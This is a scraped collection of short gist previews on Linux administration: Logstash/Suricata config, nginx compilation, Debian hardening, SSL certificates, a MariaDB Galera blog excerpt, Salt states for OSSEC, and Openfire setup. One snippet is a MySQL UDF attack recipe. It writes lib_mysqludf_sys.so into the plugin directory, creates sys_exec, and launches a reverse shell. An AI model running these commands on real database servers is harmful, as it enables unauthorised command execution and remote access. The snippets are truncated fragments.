regit

input {
   file { 
      path => [ "/usr/local/var/log/suricata/eve.json" ]
      codec =>   json 
   }
}

filter {
  if [src_ip]  {
    geoip {

tollmanz

# Install dependencies
# 
# * checkinstall: package the .deb
# * libpcre3, libpcre3-dev: required for HTTP rewrite module
# * zlib1g zlib1g-dbg zlib1g-dev: required for HTTP gzip module
apt-get install checkinstall libpcre3 libpcre3-dev zlib1g zlib1g-dbg zlib1g-dev && \

mkdir -p ~/sources/ && \

# Compile against OpenSSL to enable NPN

p0c

# download lib_mysqludf_sys.so from https://github.com/sqlmapproject/sqlmap/tree/master/udf/mysql
# (currently not present in kali's sqlmap, only the windows one, the same for metasploit...)

mysql> use mysql;
mysql> create table test(line blob);
mysql> insert into test values(load_file('/tmp/lib_mysqludf_sys.so'));
mysql> select * from test into dumpfile '/usr/lib/lib_mysqludf_sys.so';
mysql> create function sys_exec returns integer soname 'lib_mysqludf_sys.so';
mysql> select sys_exec('./reverse_shell &');

weakish

Hardening your Debian VPS

Introduction

This is a basic guide on hardening your Debian VPS. And Ubuntu users may also find this guide useful, since Ubuntu is based on Debian.

Don't panic!

mgedmin

How to get a free StartSSL.com SSL certificate

I'm writing this up from memory, so errors may appear.

This has been updated to use SHA256 certificates.

Start

1. Go to http://www.startssl.com/
2. Click on 'Control Panel'

zipizap

#PROLOGUE: all this should be run as root, otherwise stated

#update && upgrade:
apt-get update && apt-get upgrade -y

#create a new user
adduser user_x

#create group admin (funny enough, it does not exist, although its accounted in the /etc/sudoers file):
addgroup --system admin

plentz

# to generate your dhparam.pem file, run in the terminal
openssl dhparam -out /etc/nginx/ssl/dhparam.pem 2048

itsderek23

The High Availability Switch: from MySQL+MMM to MariaDB+Galera Cluster

Kevin Lawver, President @ [Rails Machine](https://railsmachine.com), is our guest author for this post.

Few things feel worst than rolling out a High Availability (HA) system, then regularly seeing that system collapse. For our team at Rails Machine, this failing HA system was MySQL Multi-Master Replication Manager (MMM).

We've been searching for a MMM replacement for a while, and a few months ago, we made the switch to MariaDB + Galera Cluster for High Availability MySQL. What's wrong with MySQL MMM? What's special about Galera Cluster? Read on!

daviddyball

% set version = '2.6' -%}
{% set ossecdir = 'ossec-hids-{0}'.format(version) -%}

ossec-install-working-dir:
  file.directory:
    - name: /tmp/ossec-install

ossec-download-installer:
  file.managed:
    - source: salt://ossec/files/{{ ossecdir }}.tar.gz

huberflores

/*
* author Huber Flores
*/

# Openfire guide for Ubuntu 12.04 - 64 bits
# Dowload Openfire tar.gz version (openfire_3_7_1.tar.gz) (http://www.igniterealtime.org/downloads/index.jsp)
# Dowload Oracle JDK 6 SE and install
 
 
$ sudo aptitude update